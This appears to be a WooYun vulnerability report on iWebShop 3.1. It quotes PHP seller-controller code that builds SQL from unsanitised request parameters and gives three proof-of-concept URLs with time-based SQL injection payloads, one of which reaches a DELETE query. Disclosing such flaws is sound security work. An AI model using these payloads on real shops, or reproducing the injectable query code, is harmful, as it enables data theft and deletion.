WooYun.org

public function goods_report()
	{
		$seller_id = $this->seller['seller_id'];
		$condition = Util::search(IReq::get('search'));//获取search
          //var_dump($condition);
		$where  = 'go.seller_id='.$seller_id;
		$where .= $condition ? " and ".$condition : "";
		$goodHandle = new IQuery('goods as go');
		$goodHandle->order  = "go.id desc";
		$goodHandle->fields = "go.*";
		$goodHandle->where  = $where;
		$goodList = $goodHandle->find();
		//构建 Excel table;
		$strTable ='<table width="500" border="1">';
		$strTable .= '<tr>';
		$strTable .= '<td style="text-align:center;font-size:12px;">商品名称</td>';
		$strTable .= '<td style="text-align:center;font-size:12px;" width="160">分类</td>';
		$strTable .= '<td style="text-align:center;font-size:12px;" width="60">售价</td>';
		$strTable .= '<td style="text-align:center;font-size:12px;" width="60">库存</td>';
		$strTable .= '</tr>';
		foreach($goodList as $k=>$val){
			$strTable .= '<tr>';
			$strTable .= '<td style="text-align:center;font-size:12px;">&nbsp;'.$val['name'].'</td>';
			$strTable .= '<td style="text-align:left;font-size:12px;">'.goods_class::getGoodsCategory($val['id']).' </td>';
			$strTable .= '<td style="text-align:left;font-size:12px;">'.$val['sell_price'].' </td>';
			$strTable .= '<td style="text-align:left;font-size:12px;">'.$val['store_nums'].' </td>';
			$strTable .= '</tr>';
		}
		$strTable .='</table>';
		unset($goodList);
		$reportObj = new report();
		$reportObj->setFileName('goods');
		$reportObj->toDownload($strTable);
		exit();
	}
	//商品删除
	public function goods_del()
	{
		//post数据
	    $id = IFilter::act(IReq::get('id'));//获取id
	    //生成goods对象
	    $goods = new goods_class();
	    $goods->seller_id = $this->seller['seller_id'];
	    if($id)
		{
			if(is_array($id))
			{
				foreach($id as $key => $val)
				{
					$goods->del($val);//进入sql
				}
			}
			else
			{
				$goods->del($id);
			}
		}
		$this->redirect("goods_list");
	}
	//商品状态修改
	public function goods_status()
	{
	    $id        = IFilter::act(IReq::get('id'));//获取id
		$is_del    = IFilter::act(IReq::get('is_del'),'int');
		$is_del    = $is_del === 0 ? 3 : $is_del; //不能等于0直接上架
		$seller_id = $this->seller['seller_id'];
		$goodsDB = new IModel('goods');
		$goodsDB->setData(array('is_del' => $is_del));
	    if($id)
		{
			if(is_array($id))//如果id是数组就进入sql
			{
				foreach($id as $key => $val)
				{
					$goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
				}
			}
			else
			{
				$goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
			}
		}
		$this->redirect("goods_list");
	}

public static function search($search)
	{
		if(!$search)
		{
			return '';
		}
var_dump($search);
		$where = array();
		//like子句处理
		if(isset($search['like']) && $search['likeValue'])
		{
			$where[] = $search['like']." like '%".$search['likeValue']."%'";
		}
		unset($search['like']);
		unset($search['likeValue']);
		//自定义子句处理
		foreach($search as $key => $val)
		{
			if($val === '')
			{
				continue;
			}
			if(strpos($key,'num') !== false)
			{
				$where[] = $key.$val;
			}
			else
			{
				$where[] = $key."'".$val."'";
			}
		}
		return join(" and ",$where);
	}

http://127.0.0.1/iwebshop3.1.15030300/iwebshop/index.php?controller=seller&action=goods_report&search[sleep(2)%23]=aaaa

public function del($where)
	{
		$where = (strtolower($where) == 'all') ? '' : ' WHERE '.$where;
		$sql   = 'DELETE FROM '.$this->tableName.$where;
		return $this->db->query($sql);
	}

http://127.0.0.1/iwebshop3.1.15030300/iwebshop/index.php
?controller=seller
&action=goods_del
&id=1/**/or/**/sleep(2)%23

http://127.0.0.1/iwebshop3.1.15030300/iwebshop/index.php?controller=seller&action=goods_status&id[]=sleep(5)%23